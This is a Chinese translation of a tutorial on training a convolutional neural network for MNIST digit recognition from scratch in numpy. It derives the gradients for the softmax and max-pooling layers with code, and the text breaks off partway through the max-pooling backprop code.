<content type="html"><![CDATA[<p>原文地址是: <a href="https://towardsdatascience.com/training-a-convolutional-neural-network-from-scratch-2235c2a25754" target="_blank" rel="noopener">Training a Convolutional Neural Network from scratch</a>。原文的撰写时间是2019年6月7日。</p><p>在这篇文章中,我们将会深入了解卷积神经网络(Convolutional Neural Networks, CNN),重点是如何训练一个卷积神经网络。这篇文章会教你如何推导梯度,实现backprop过程(只使用numpy),并最终建立起一个完整的训练的工作流。这里我们架设你对于什么是卷积神经网络有一个基础的了解。如果你还缺乏最基本的知识,可以阅读原文作者的<a href="https://victorzhou.com/blog/intro-to-cnns-part-1/" target="_blank" rel="noopener">文章</a>。同时文章中部分地方还假定你对于多元微积分有一定的了解<span class="foot-note-span">【基本上你好好上过大学的高等数学应该就能理解】</span>。</p><a id="more"></a><h1 data-number="1" id="搭建环境"><span class="header-section-number">1</span> 搭建环境</h1><p>我们的主要任务是用CNN来解决<a href="http://yann.lecun.com/exdb/mnist/" target="_blank" rel="noopener">MNIST</a>手写数字字符的识别问题。</p><p><img src="https://imgs.codewoody.com/uploads/big/88955ef5145051fb920e6060b337900e.png"></p><p>这里我们的CNN网络有一个卷积层(Conv Layer),一个Max Pooling层和一个Softmax层,如下图所示:</p><figure><img src="https://imgs.codewoody.com/uploads/big/ed825d814cb7744f836ed4a13c35fae2.png" alt=""><figcaption>这个模型接受MNIST中28*28的灰度图输出,并输出一个10维向量,向量的每一维对应一个数字。</figcaption></figure><p>在代码层面,我们写了三个类,每个类代表一个层。这三个类分别是: <code>Conv3x3</code>, <code>MaxPool</code>和<code>Softmax</code>。每个类实现了一个<code>forward()</code>函数,用来进行CNN模型的正向计算。代码内容如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">conv = Conv3x3(<span class="number">8</span>) <span class="comment"># 28x28x1 -> 26x26x8</span></span><br><span class="line">pool = MaxPool2() <span class="comment"># 26x26x8 -> 13x13x8</span></span><br><span class="line">softmax = Softmax(<span class="number">13</span> * <span class="number">13</span> * <span class="number">8</span>, <span class="number">10</span>) <span class="comment"># 13x13x8 -> 10</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">forward</span><span class="params">(image, label)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Completes a forward pass of the CNN and calculates the accuracy and</span></span><br><span class="line"><span class="string"> cross-entropy loss.</span></span><br><span class="line"><span class="string"> - image is a 2d numpy array</span></span><br><span class="line"><span class="string"> - label is a digit</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="comment"># We transform the image from [0, 255] to [-0.5, 0.5] to make it easier</span></span><br><span class="line"> <span class="comment"># to work with. This is standard practice.</span></span><br><span class="line"> out = conv.forward((image / <span class="number">255</span>) - <span class="number">0.5</span>)</span><br><span class="line"> out = pool.forward(out)</span><br><span class="line"> out = softmax.forward(out)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Calculate cross-entropy loss and accuracy. np.log() is the natural log.</span></span><br><span class="line"> loss = -np.log(out[label])</span><br><span class="line"> acc = <span class="number">1</span> <span class="keyword">if</span> np.argmax(out) == label <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> out, loss, acc</span><br></pre></td></tr></table></figure><p>代码的完整地址在<a href="https://github.com/vzhou842/cnn-from-scratch" target="_blank" rel="noopener">Github</a>。</p><p>直接运行输出得到的结果是</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">MNIST CNN initialized!</span><br><span class="line">[Step 100] Past 100 steps: Average Loss 2.302 | Accuracy: 11%</span><br><span class="line">[Step 200] Past 100 steps: Average Loss 2.302 | Accuracy: 8%</span><br><span class="line">[Step 300] Past 100 steps: Average Loss 2.302 | Accuracy: 3%</span><br><span class="line">[Step 400] Past 100 steps: Average Loss 2.302 | Accuracy: 12%</span><br></pre></td></tr></table></figure><p>这里模型给出的精度非常差,这是因为模型还未进行训练。</p><h1 data-number="2" id="模型训练"><span class="header-section-number">2</span> 模型训练</h1><p>训练一个神经网络通常由两个阶段组成:</p><ol type="1"><li>forward阶段:在forward阶段,我们将输入送入模型,正向计算出结果;</li><li>backward阶段:用于计算梯度并更新权重参数;</li></ol><p>我们遵循上述模式来训练我们的CNN。这里我们采用了两个主要的实现设计思路:</p><ol type="1"><li>在forward阶段,每个层会缓存下所有的数据,包括输入和中间变量,这些缓存下来的值会用于backward阶段的计算。</li><li>在backwad阶段,每个层会接收到后一层的梯度,并返回本层计算出来的梯度。</li></ol><p>这种设计思路可以让我们的训练实现保持间接和组织化。反映这一点最好的方式是直接读代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Feed forward</span></span><br><span class="line">out = conv.forward((image / <span class="number">255</span>) - <span class="number">0.5</span>)</span><br><span class="line">out = pool.forward(out)</span><br><span class="line">out = softmax.forward(out)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Calculate initial gradient</span></span><br><span class="line">gradient = np.zeros(<span class="number">10</span>)</span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Backprop</span></span><br><span class="line">gradient = softmax.backprop(gradient)</span><br><span class="line">gradient = pool.backprop(gradient)</span><br><span class="line">gradient = conv.backprop(gradient)</span><br></pre></td></tr></table></figure><p>接下来我们来讨论每一层的backprop怎么做(forward其实是非常简单的)。</p><h1 data-number="3" id="backprop-softmax"><span class="header-section-number">3</span> Backprop: Softmax</h1><p>按照backward的顺序我们首先讨论Softmax层。首先我们来回忆一下交叉信息熵损失函数的定义:</p><p><span class="math display">\[L = - ln (p_c)\]</span></p><p>其中<span class="math inline">\(p_c\)</span>为正确类别的 c 的预测概率。首先我们要计算的是在backfowrad阶段Softmax输入,<span class="math inline">\(\partial L / \partial out_s\)</span>,其中<span class="math inline">\(out_s\)</span>为Softmax的输出,这个输出为一个10维向量,其中每个元素是对应数字的概率。这个计算很简单:</p><p><span class="math display">\[\frac{\partial L}{\partial o u t_{s}(i)}=\left\{\begin{array}{ll}0 & \text { if } i \neq c \\-\frac{1}{p_{i}} & \text { if } i=c\end{array}\right.\]</span></p><p>其中<span class="math inline">\(c\)</span>为正确的类别。代码的实现为:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gradient = np.zeros(<span class="number">10</span>)</span><br><span class="line">gradeint[label] = <span class="number">-1</span> / out[label]</span><br></pre></td></tr></table></figure><p>这里得到的是Softmax层在backforward阶段的输入,Softmax需要以此为输入计算出一个梯度交给前面的层。我们先来看forward阶段的实现。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Softmax</span>:</span></span><br><span class="line"> <span class="comment"># ...</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">forward</span><span class="params">(self, input)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Performs a forward pass of the softmax layer using the given input.</span></span><br><span class="line"><span class="string"> Returns a 1d numpy array containing the respective probability values.</span></span><br><span class="line"><span class="string"> - input can be any array with any dimensions.</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> self.last_input_shape = input.shape</span><br><span class="line"></span><br><span class="line"> input = input.flatten()</span><br><span class="line"> self.last_input = input</span><br><span class="line"></span><br><span class="line"> input_len, nodes = self.weights.shape</span><br><span class="line"></span><br><span class="line"> totals = np.dot(input, self.weights) + self.biases</span><br><span class="line"> self.last_totals = totals</span><br><span class="line"></span><br><span class="line"> exp = np.exp(totals)</span><br><span class="line"> <span class="keyword">return</span> exp / np.sum(exp, axis=<span class="number">0</span>)</span><br></pre></td></tr></table></figure><blockquote><p>从这里的代码来看,作者说的Softmax层其实是一个全连接层 + Softmax函数</p></blockquote><p>我们缓存了三个变量:</p><ul><li><code>input</code>的形状</li><li><code>input</code>展平后的值</li><li><code>totals</code>,softmax激励函数的输入</li></ul><p>基于上面这三个缓存的值我们可以开始计算梯度。上面我们已经计算了Softmax backprop的输入,可以发现只有<code>out_s(c)</code>是非零的,因此我们在Softmax内部计算的时候可以忽略其他项目,即我们只需要计算<span class="math inline">\(out_c\)</span>关于输入的微分。<code>out_s(c)</code>的计算过程是:</p><p><span class="math display">\[o u t_{s}(c)=\frac{e^{t_{c}}}{\sum_{i} e^{t_{i}}}=\frac{e^{t_{c}}}{S}\]</span></p><p>根据链式法则可以做计算,对于<span class="math inline">\(k \neq c\)</span>:</p><p><span class="math display">\[\begin{aligned}\frac{\partial o u t_{s}(c)}{\partial t_{k}} &=-e^{t_{c}} S^{-2}\left(\frac{\partial S}{\partial t_{k}}\right) \\&=-e^{t_{c}} S^{-2}\left(e^{t_{k}}\right) \\&=\frac{-e^{t_{c}} e^{t_{k}}}{S^{2}}\end{aligned}\]</span></p><p>对于<span class="math inline">\(t_c\)</span></p><p><span class="math display">\[\begin{aligned}\frac{\partial o u t_{s}(c)}{\partial t_{c}} &=\frac{S e^{t_{c}}-e^{t_{c}} \frac{\partial S}{\partial t_{c}}}{S^{2}} \\&=\frac{S e^{t_{c}}-e^{t_{c}} e^{t_{c}}}{S^{2}} \\&=\frac{e^{t_{c}}\left(S-e^{t_{c}}\right)}{S^{2}}\end{aligned}\]</span></p><p>我们把这部分用代码实现出来:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Softmax</span>:</span></span><br><span class="line"> <span class="comment"># ...</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">backprop</span><span class="params">(self, d_L_d_out)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Performs a backward pass of the softmax layer.</span></span><br><span class="line"><span class="string"> Returns the loss gradient for this layer's inputs.</span></span><br><span class="line"><span class="string"> - d_L_d_out is the loss gradient for this layer's outputs.</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="comment"># We know only 1 element of d_L_d_out will be nonzero</span></span><br><span class="line"> <span class="keyword">for</span> i, gradient <span class="keyword">in</span> enumerate(d_L_d_out):</span><br><span class="line"> <span class="keyword">if</span> (gradient == <span class="number">0</span>):</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># e^totals</span></span><br><span class="line"> t_exp = np.exp(self.last_totals)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Sum of all e^totals</span></span><br><span class="line"> S = np.sum(t_exp)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of out[i] against totals</span></span><br><span class="line"> d_out_d_t = - t_exp[i] * t_exp / (S ** <span class="number">2</span>)</span><br><span class="line"> d_out_d_t[i] = t_exp[i] * (S - t_exp[i]) / (S ** <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># ... to be continued</span></span><br></pre></td></tr></table></figure><p>这里得到还只是对中间变量的梯度,最终我们要得到的是对Weights, bias以及input的梯度,其中:</p><ol type="1"><li>我们使用<span class="math inline">\(\partial \mathrm{L} / \partial \mathrm{W}\)</span> 来更新Weights矩阵;</li><li>我们使用<span class="math inline">\(\partial \mathrm{L} / \partial \mathrm{b}\)</span> 来更新bias向量;</li><li><span class="math inline">\(\partial \mathrm{L} / \partial i n p u t\)</span>被送往上一层;</li></ol><p>为了计算这三个梯度,我们从下面的式子出发:</p><p><span class="math display">\[t=w \cdot input +b\]</span></p><p>这些梯度计算都比较简单:</p><span class="math display">\[\begin{aligned}&\frac{\partial t}{\partial w}=i n p u t\\&\frac{\partial t}{\partial b}=1\\&\frac{\partial t}{\partial i n p u t}=w\end{aligned}\]</span><p>利用链式法则汇总</p><span class="math display">\[\begin{aligned}\frac{\partial L}{\partial w} &=\frac{\partial L}{\partial o u t} * \frac{\partial o u t}{\partial t} * \frac{\partial t}{\partial w} \\\frac{\partial L}{\partial b} &=\frac{\partial L}{\partial o u t} * \frac{\partial o u t}{\partial t} * \frac{\partial t}{\partial b} \\\frac{\partial L}{\partial i n p u t} &=\frac{\partial L}{\partial o u t} * \frac{\partial o u t}{\partial t} * \frac{\partial t}{\partial i n p u t}\end{aligned}\]</span><p>将这些代码话就可以得到</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Softmax</span>:</span></span><br><span class="line"> <span class="comment"># ...</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">backprop</span><span class="params">(self, d_L_d_out)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Performs a backward pass of the softmax layer.</span></span><br><span class="line"><span class="string"> Returns the loss gradient for this layer's inputs.</span></span><br><span class="line"><span class="string"> - d_L_d_out is the loss gradient for this layer's outputs.</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="comment"># We know only 1 element of d_L_d_out will be nonzero</span></span><br><span class="line"> <span class="keyword">for</span> i, gradient <span class="keyword">in</span> enumerate(d_L_d_out):</span><br><span class="line"> <span class="keyword">if</span> gradient == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># e^totals</span></span><br><span class="line"> t_exp = np.exp(self.last_totals)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Sum of all e^totals</span></span><br><span class="line"> S = np.sum(t_exp)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of out[i] against totals</span></span><br><span class="line"> d_out_d_t = -t_exp[i] * t_exp / (S ** <span class="number">2</span>)</span><br><span class="line"> d_out_d_t[i] = t_exp[i] * (S - t_exp[i]) / (S ** <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of totals against weights/biases/input</span></span><br><span class="line"> d_t_d_w = self.last_input</span><br><span class="line"> d_t_d_b = <span class="number">1</span></span><br><span class="line"> d_t_d_inputs = self.weights</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of loss against totals</span></span><br><span class="line"> d_L_d_t = gradient * d_out_d_t</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of loss against weights/biases/input</span></span><br><span class="line"> d_L_d_w = d_t_d_w[np.newaxis].T @ d_L_d_t[np.newaxis]</span><br><span class="line"> d_L_d_b = d_L_d_t * d_t_d_b</span><br><span class="line"> d_L_d_inputs = d_t_d_inputs @ d_L_d_t</span><br><span class="line"></span><br><span class="line"> <span class="comment"># ... to be continued</span></span><br></pre></td></tr></table></figure><p>剩下的问题是输出了。我们用<span class="math inline">\(W\)</span>和<span class="math inline">\(b\)</span>的梯度,使用SGD方法更新对应的参数,同时将对<code>input</code>的梯度输出,沿着backfoward方向进行传递:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Softmax</span></span></span><br><span class="line"><span class="class"> # ...</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"> <span class="title">def</span> <span class="title">backprop</span><span class="params">(self, d_L_d_out, learn_rate)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Performs a backward pass of the softmax layer.</span></span><br><span class="line"><span class="string"> Returns the loss gradient for this layer's inputs.</span></span><br><span class="line"><span class="string"> - d_L_d_out is the loss gradient for this layer's outputs.</span></span><br><span class="line"><span class="string"> - learn_rate is a float</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="comment"># We know only 1 element of d_L_d_out will be nonzero</span></span><br><span class="line"> <span class="keyword">for</span> i, gradient <span class="keyword">in</span> enumerate(d_L_d_out):</span><br><span class="line"> <span class="keyword">if</span> gradient == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># e^totals</span></span><br><span class="line"> t_exp = np.exp(self.last_totals)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Sum of all e^totals</span></span><br><span class="line"> S = np.sum(t_exp)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of out[i] against totals</span></span><br><span class="line"> d_out_d_t = -t_exp[i] * t_exp / (S ** <span class="number">2</span>)</span><br><span class="line"> d_out_d_t[i] = t_exp[i] * (S - t_exp[i]) / (S ** <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of totals against weights/biases/input</span></span><br><span class="line"> d_t_d_w = self.last_input</span><br><span class="line"> d_t_d_b = <span class="number">1</span></span><br><span class="line"> d_t_d_inputs = self.weights</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of loss against totals</span></span><br><span class="line"> d_L_d_t = gradient * d_out_d_t</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Gradients of loss against weights/biases/input</span></span><br><span class="line"> d_L_d_w = d_t_d_w[np.newaxis].T @ d_L_d_t[np.newaxis]</span><br><span class="line"> d_L_d_b = d_L_d_t * d_t_d_b</span><br><span class="line"> d_L_d_inputs = d_t_d_inputs @ d_L_d_t</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Update weights / biases</span></span><br><span class="line"> self.weights -= learn_rate * d_L_d_w</span><br><span class="line"> self.biases -= learn_rate * d_L_d_b</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> d_L_d_inputs.reshape(self.last_input_shape)</span><br></pre></td></tr></table></figure><p>注意返回的时候我们要调整<code>d_L_d_inputs</code>的性状以吻合最初输入的<code>input</code>的大小。我们来验证一下我们的代码,单独训练一下Softmax层试试看:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Imports and setup here</span></span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">forward</span><span class="params">(image, label)</span>:</span></span><br><span class="line"> <span class="comment"># Impementation excluded</span></span><br><span class="line"> <span class="comment"># ...</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">train</span><span class="params">(im, label, lr=<span class="number">.005</span>)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Completes a full training step on the given image and label.</span></span><br><span class="line"><span class="string"> Returns the cross-entropy loss and accuracy.</span></span><br><span class="line"><span class="string"> - image is a 2d numpy array</span></span><br><span class="line"><span class="string"> - label is a digit</span></span><br><span class="line"><span class="string"> - lr is the learning rate</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="comment"># forward</span></span><br><span class="line"> out, loss, acc = forward(im, label)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Calculate initial gradient</span></span><br><span class="line"> gradient = np.zeros(<span class="number">10</span>)</span><br><span class="line"> gradient[label] = <span class="number">-1</span> / out[label]</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Backprop</span></span><br><span class="line"> gradient = softmax.backprop(gradient, lr)</span><br><span class="line"> <span class="comment"># <span class="doctag">TODO:</span> backprop MaxPool2 layer</span></span><br><span class="line"> <span class="comment"># <span class="doctag">TODO:</span> backprop Conv3x3 layer</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> loss, acc</span><br><span class="line"></span><br><span class="line">print(<span class="string">'MNIST CNN initialized!'</span>)</span><br><span class="line"><span class="comment"># Train!</span></span><br><span class="line">loss = <span class="number">0</span></span><br><span class="line">num_correct = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i, (im, label) <span class="keyword">in</span> enumerate(zip(train_images, train_labels)):</span><br><span class="line"> <span class="keyword">if</span> i > <span class="number">0</span> <span class="keyword">and</span> i % <span class="number">99</span> == <span class="number">0</span>:</span><br><span class="line"> print(</span><br><span class="line"> <span class="string">'[Step %d] Past 100 steps: Average Loss %.3f | Accuracy: %d%%'</span> %</span><br><span class="line"> (i + <span class="number">1</span>, loss / <span class="number">100</span>, num_correct)</span><br><span class="line"> )</span><br><span class="line"> loss = <span class="number">0</span></span><br><span class="line"> num_correct = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> l, acc = train(im, label)</span><br><span class="line"> loss += l</span><br><span class="line"> num_correct += acc</span><br></pre></td></tr></table></figure><blockquote><p>这里的训练过程不太规范,是一个个地喂数据,同时计算在训练集上的准确率。</p></blockquote><p>运行后的输出是:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">MNIST CNN initialized!</span><br><span class="line">[Step 100] Past 100 steps: Average Loss 2.239 | Accuracy: 18%</span><br><span class="line">[Step 200] Past 100 steps: Average Loss 2.140 | Accuracy: 32%</span><br><span class="line">[Step 300] Past 100 steps: Average Loss 1.998 | Accuracy: 48%</span><br><span class="line">[Step 400] Past 100 steps: Average Loss 1.861 | Accuracy: 59%</span><br><span class="line">[Step 500] Past 100 steps: Average Loss 1.789 | Accuracy: 56%</span><br><span class="line">[Step 600] Past 100 steps: Average Loss 1.809 | Accuracy: 48%</span><br><span class="line">[Step 700] Past 100 steps: Average Loss 1.718 | Accuracy: 63%</span><br><span class="line">[Step 800] Past 100 steps: Average Loss 1.588 | Accuracy: 69%</span><br><span class="line">[Step 900] Past 100 steps: Average Loss 1.509 | Accuracy: 71%</span><br><span class="line">[Step 1000] Past 100 steps: Average Loss 1.481 | Accuracy: 70%</span><br></pre></td></tr></table></figure><p>可以看到准确度有了很大的提高,我们的CNN已经开始学习了。</p><h1 data-number="4" id="backprop-max-pooling"><span class="header-section-number">4</span> Backprop: Max Pooling</h1><p>Max Pooling层其实没有任何参数,但是我们还是要实现backprop操作以将梯度操作继续向前传导。我们还是从forward开始</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MaxPool2</span>:</span></span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">forward</span><span class="params">(self, input)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Performs a forward pass of the maxpool layer using the given input.</span></span><br><span class="line"><span class="string"> Returns a 3d numpy array with dimensions (h / 2, w / 2, num_filters).</span></span><br><span class="line"><span class="string"> - input is a 3d numpy array with dimensions (h, w, num_filters)</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"></span><br><span class="line"> self.last_input = input</span><br><span class="line"></span><br><span class="line"> <span class="comment"># More Implementation</span></span><br><span class="line"> <span class="comment"># ...</span></span><br></pre></td></tr></table></figure><p>MaxPool 的正向操作是将输入划分为<span class="math inline">\(2\times 2\)</span>的小格子,每个格子里面输出最大值。那么backprop时,我们则将backprop的输入尺寸加倍,并将梯度值传递到Pooling时最大值所在的位置,其他位置上则为 0。</p><p>下面是一个简单的例子:</p><p><img src="https://imgs.codewoody.com/uploads/big/e4b4bd71ddd6e51a5686040b9dd067f1.png"></p><p>那么backprop的过程为</p><p><img src="https://imgs.codewoody.com/uploads/big/001cf17378733ee19156be1278bc3636.png"></p><p>代码实现如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MaxPool2</span></span></span><br><span class="line"><span class="class"> # ...</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"> <span class="title">def</span> <span class="title">iterate_regions</span><span class="params">(self, image)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Generates non-overlapping 2x2 image regions to pool over.</span></span><br><span class="line"><span class="string"> - image is a 2d numpy array</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> h, w, _ = image.shape</span><br><span class="line"> new_h 